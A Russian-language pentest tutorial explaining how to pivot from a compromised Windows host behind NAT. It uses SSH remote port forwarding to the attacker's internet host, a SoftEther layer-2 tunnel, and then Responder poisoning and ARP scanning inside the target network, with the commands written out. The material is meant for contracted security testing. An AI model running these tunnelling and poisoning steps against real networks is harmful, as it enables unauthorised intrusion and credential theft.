Witchhammer VIP: Обход NAT при пивотинге против Windows
NAT может создать проблемы для пентестера, когда он проводит пивотинг, особенно если мы говорим о скромпрометированных машинах на Windows. В этой статье я продолжу демонстрировать концепцию L2-туннелирования против скомпрометированных машин на Windows, но уже учитывая наличие NAT.
Disclaimer
Статья носит ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование по контракту. Автор и редакция не несут ответственности за любой вред, причиненный использованием представленной информации. Распространение вредоносного ПО, нарушение работы систем и тайны переписки будет преследоваться по закону.Intro
В контексте сценариев тестирования на проникновение может случиться так, что пентестер смог скомпрометировать некоторый хост на Windows, однако сам хост находится за NAT. И при этом у пентестера появляется потребность в проведении атак канального уровня, для проведения которых необходим L2-туннель. Однако в условиях где хост находится за NAT задача создания такого туннеля становится сложнее, однако эта ситуация имеет несколько вариантов решения.
Это вторая часть моей статьи Witchhammer, в которой я продемонстрировал метод L2-туннелирования против машин на Windows с целью проведения атак канального уровня. В этой же VIP-версии речь пойдет о том же самом, однако я разберу сценарий, в котором скомпрометированный хост находится за NAT.
SSH Remote Port Forward
Основная идея заключается в том, чтобы с помощью SSH Remote Port Forwarding пробросить порты TCP/443,TCP/992,TCP/5555в сторону системы атакующего, который в свою очередь будет использовать эти порты для подключения к SoftEther-серверу, находящемуся за NAT. Этот метод хорош тем, что SSH является легитимным ПО и не блокируется антивирусными программами. Однако есть и другие способы пробросить так порт, например с помощью chiselПо сути это сценарий, когда атакующий развивает вектор пост-эксплуатации из Интернета, получив доступ к скомпрометированному хосту. В контексте данного сценария я буду пробрасывать порты именно в сторону атакующей системы, однако существует практика, при которой пентестер подготавливает отдельный внешний SSH-сервер в сети Интернет, с помощью которого он и будет осуществлять подключения к SoftEther-серверу на скомпрометированном хосте. Разницы особой нет, однако вариант с внешним SSH-сервером является более удобным, если тестированием на проникновение занимается команда, участникам которой было бы удобно ходить через один SSH-сервер, вместо того чтобы каждый раз пробрасывать порт с скомпрометированной машины на каждый хост атакующего.
Scheme
В данном сценарии атакующий находится в Интернете, его хост имеет адрес 187.33.221.185, именно в его сторону будет проброс портов с помощью SSH. Предполагается что на скомпрометированном хосте уже активен SoftEther-сервер, настройку которого я полностью описал в первой версии Witchhammer
Перед пробросом портов необходимо настроить хост, на котором будет SSH-сервер (система атакующего или отдельный SSH-сервер), нужно просто разрешить параметры AllowTcpForwardingи GatewayPorts
/etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
Затем с скомпрометированной машины с помощью sshнеобходимо пробросить порты TCP/443,TCP/992,TCP/5555в сторону атакующей машины в сети Интернет.
Локальные порты скомпрометированной машины:TCP/443,TCP/992,TCP/5555
Внешние порты для атакующей системы: TCP/4443,TCP/9992,TCP/5555
C:\witchhammer> ssh -R 4443:localhost:443 -R 9992:localhost:992 -R 5555:localhost:5555 [email protected]
После чего на атакующем хосте будут доступны порты для подключения к SoftEther-серверу за NAT
Ports
Именно эти порты атакующий и будет использовать для дальнейшего подключения к SoftEther-серверу и создания L2-туннеля
Tunneling
После манипуляций с пробросом портов, атакующий может воспроизвести подключение к SoftEther-серверуcaster@kali:~$ sudo apt install build-essential
caster@kali:~$ wget https://www.softether-download.com/...3-9799-beta-2023.08.31-linux-x64-64bit.tar.gz
caster@kali:~$ gunzip softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar.gz
caster@kali:~$ tar xf softether-vpnclient-v4.43-9799-beta-2023.08.31-linux-x64-64bit.tar
caster@kali:~$ cd vpnclient
caster@kali:~/vpnclient$ make
caster@kali:~/vpnclient$ sudo ./vpnclient start
caster@kali:~/vpnclient$ sudo ./vpncmd
Все те же настройки, создание виртуального адаптера, указание адреса сервера и пароля учетной записи. Однако в данном случае в качестве сервера мы будем использовать 127.0.0.1:4443, так как мы пробросили порт TCP/443 с скомпрометированной машины на Windows в сторону хоста атакующего
VPN Client> NicCreate caster
VPN Client> AccountCreate Tunnel /SERVER:127.0.0.1:4443 /HUB:Witchhammer /USERNAME:caster /NICNAME:caster
VPN Client> AccountPassword Tunnel /PASSWORD
VPN Client> AccountConnect Tunnel
Состояние подключения со стороны хоста атакующего (SoftEther Client)
После чего атакующий получает доступ к целевой сети на уровне L2, где находится сам скомпрометированный хост. Так как у него появился виртуальный интерфейс vpn_caster,он должен получить на него адрес для работы с целевой сетью на канального уровне
caster@kali:~$ sudo dhclient -v vpn_caster
Однако стоит помнить, что новая информация о шлюзе по умолчанию может прилететь через DHCP, и новый маршрут 0.0.0.0 может повлиять на сетевую связность в системе атакующего. Поэтому, если такой маршрут появится, его следует удалить.
caster@kali:~$ sudo route del default
В случае с моим сценарием, целевая сеть имеет адресацию 192.168.0.0/24, а на виртуальный интерфейс прилетел адрес 192.168.0.251/24
Proof of Concept
Фактически мы получаем возможность проведения атак канального уровня прямо из сети Интернет, благодаря построенному EtherIP-туннелю. Для доказательства работоспособности данного вектора я запущу Responder внутри этого туннеля
LLMNR/NBT-NS Poisoning (Responder)
ARP Scanning (netdiscover)
Outro
Примерно таким образом можно строить L2-туннели со скомпрометированной машиной Windows для проведения атак канального уровня, даже не смотря на то, что сам скомпрометированный хост находился за NAT.На самом деле методы пивотинга с SoftEther достаточно шумные в эфире, множество DNS-запросов, keepalive-сообщений. Если использовать данный метод для мероприятий Red Team, то операторам придется позаботиться о снижении шума в эфире.